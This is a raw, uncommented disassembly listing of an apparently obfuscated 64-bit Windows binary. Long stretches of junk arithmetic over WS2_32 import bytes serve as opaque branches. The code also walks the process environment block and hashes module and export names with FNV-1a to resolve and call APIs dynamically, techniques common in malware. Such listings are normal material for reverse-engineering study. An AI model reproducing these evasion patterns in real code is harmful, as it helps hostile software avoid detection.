movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140108831
mov eax, dword [rsp + 0x60]
add eax, 0x2d
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x58], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401086d9
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401086d9
mov dword [rbp - 0x70], 9
jmp 0x14010872c
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010872c
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x58]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
mov eax, dword [rsp + 0x60]
add eax, 0x2d
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x58], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401087b3
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401087b3
mov dword [rbp - 0x6c], 9
jmp 0x140108806
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140108806
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x58]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x6c]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x70]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*8]
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140108a14
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x58], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401088cb
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401088cb
mov dword [rbp + 0x10], 9
jmp 0x14010891e
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010891e
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x58]
cvttsd2si eax, xmm0
mov dword [rbp + 0x10], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x58], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140108996
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140108996
mov dword [rbp - 0x78], 9
jmp 0x1401089e9
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401089e9
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x58]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x78]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp + 0x10]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cmp eax, 1
jb 0x140108058
mov dword [rbp + 0x14], r12d
mov dword [rbp - 0x58], r13d
mov r12, qword [rsp + 0x68]
mov byte [r9], 1
mov eax, dword [r9 + 4]
lea rcx, [0x140000000]
mov r10, qword [rcx + rax*8 + 0x33fa20]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1401335ac]
xor edx, edx
xor ecx, ecx
call r10
mov rbx, rax
mov rcx, rax
call fcn.140127888
mov rcx, rbx
call fcn.1401248d8
mov rcx, rbx
call fcn.1400e8bf0
sub r12, 1
mov qword [rsp + 0x68], r12
jne 0x140108014
mov r13d, dword [rbp - 0x40]
inc r13d
mov dword [rbp - 0x40], r13d
mov r8d, dword [rsp + 0x78]
jmp 0x140107edc
mov rdx, qword [0x140342fb8]
xor r13d, r13d
test rdx, rdx
jne 0x140108c0b
mov edi, r13d
mov esi, 0x2fa62ca8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140108b23
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140108b16
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140108b07
cmp edx, edi
jne 0x140108bec
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140108bec
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140108bec
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140108b77
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140108b6c
cmp edx, esi
je 0x140108b8c
test r11d, r11d
jne 0x140108b57
jmp 0x140108bec
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140108c04
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140108c04
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140108bcd
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140108bbf
jmp 0x140108be0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140108bd5
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140108c01
cmp qword [rax + 0x30], r13
jne 0x140108adc
mov rdx, r13
mov qword [0x140342fb8], rdx
mov ecx, 0x1f4
call rdx
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d4
cmp qword [0x140341518], r13
je 0x140108c7b
cmp qword [0x140341520], r13
je 0x140108c7b
cmp byte [0x14034150a], r13b
je 0x140108c7b
mov r15d, 1
mov edx, r15d
jmp 0x140108c84
mov rdx, r13
mov r15d, 1
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140108d40
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140108d40
mov r9d, r12d
jmp 0x140108dd8
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140108dd3
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x140108dd8
mov r9d, dword [rsp + 0x78]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
mov r8d, eax
call fcn.1401379e8
movsx r10d, al
call fcn.1401379e4
movsx r11d, al
call fcn.1401379f4
movsx ebx, al
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub r8d, ecx
imul r8d, r9d
xor edx, edx
test r8d, r8d
je 0x14010a2bc
mov r8d, r11d
imul r8d, r10d
movsx ecx, byte [reloc.WS2_32.dll_htons]
lea eax, [rcx + r8*2]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d4
cmp byte [0x14034150f], r13b
je 0x140108e96
cmp byte [0x140341510], r13b
je 0x140108e96
cmp byte [0x14034150a], r13b
je 0x140108e96
call fcn.1400f44dc
test al, al
mov rdx, r15
jne 0x140108e99
mov rdx, r13
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140108f55
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140108f55
mov r9d, r12d
jmp 0x140108fed
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140108fe8
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x140108fed
mov r9d, dword [rsp + 0x78]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r10d, [rdx + rdx*2]
call fcn.1401379f4
movsx ecx, al
add r10d, ecx
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
mov r8d, eax
call fcn.1401379e8
movsx r11d, al
call fcn.1401379e4
movsx ebx, al
call fcn.1401379f4
movsx edi, al
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub r8d, ecx
imul r8d, r9d
xor edx, edx
test r8d, r8d
je 0x140109c27
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d4
mov rcx, qword [0x140341518]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x1401090a0
mov rcx, qword [0x140341520]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
mov rdx, r15
jne 0x1401090a3
mov rdx, r13
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010915f
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14010915f
mov r9d, r12d
jmp 0x1401091f7
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401091f2
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x1401091f7
mov r9d, dword [rsp + 0x78]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140109572
mov r14d, 0xbb21e02e
mov rdx, qword [0x140342f28]
xor r12d, r12d
test rdx, rdx
jne 0x1401093b3
mov edi, r12d
mov esi, r14d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test edi, edi
je 0x1401092bf
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x1401092b2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401092a3
cmp edx, edi
jne 0x140109394
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140109394
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140109394
mov r12d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r12]
add r8, r9
mov edx, r13d
jmp 0x140109311
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140109306
cmp edx, esi
je 0x140109329
test r11d, r11d
jne 0x1401092f3
xor r12d, r12d
jmp 0x140109394
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140109415
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140109415
mov edi, r13d
mov esi, r13d
jmp 0x14010936f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140109361
inc rdx
xor r12d, r12d
jmp 0x14010938b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14010937d
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1401093a9
cmp qword [rax + 0x30], r12
jne 0x140109274
mov rdx, r12
mov qword [0x140342f28], rdx
mov rcx, qword [0x140341518]
call rdx
mov rdx, qword [0x140342f28]
test rdx, rdx
jne 0x14010951c
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test edi, edi
je 0x140109436
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x140109429
xor r12d, r12d
jmp 0x1401093ac
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010941a
cmp edx, edi
jne 0x1401094fd
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401094fd
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401094fd
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, r13d
jmp 0x140109488
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010947d
cmp edx, r14d
je 0x14010949e
test r11d, r11d
jne 0x14010946a
jmp 0x1401094fd
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140109515
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140109515
mov edi, r13d
mov r14d, r13d
jmp 0x1401094dc
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401094ce
jmp 0x1401094f1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1401094e4
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140109512
cmp qword [rax + 0x30], r12
jne 0x1401093e6
mov rdx, r12
mov qword [0x140342f28], rdx
mov rcx, qword [0x140341520]
call rdx
mov rcx, qword [0x140341518]
call fcn.140127888
mov rcx, qword [0x140341520]
call fcn.140127888
mov rcx, qword [0x140341518]
call fcn.1401248d8
mov rcx, qword [0x140341520]
call fcn.1401248d8
mov rcx, qword [0x140341518]
call fcn.1400e8bf0
mov rcx, qword [0x140341520]
call fcn.1400e8bf0
jmp 0x14010b0d7
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d4
call fcn.1401379ec
movsx r10d, al
call fcn.1401379f8
movsx r11d, al
call fcn.1401379f0
movsx ebx, al
movsx edx, byte [0x140341580]
imul edx, r10d
add edx, edx
sub edx, r11d
add edx, ebx
movsx eax, byte [reloc.WS2_32.dll_closesocket]
add eax, edx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010968d
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14010968d
mov r9d, r12d
jmp 0x140109725
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140109720
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x140109725
mov r9d, dword [rsp + 0x78]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
xor r12d, r12d
test eax, eax
je 0x140109ab1
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x14015eb78]
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140109804
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
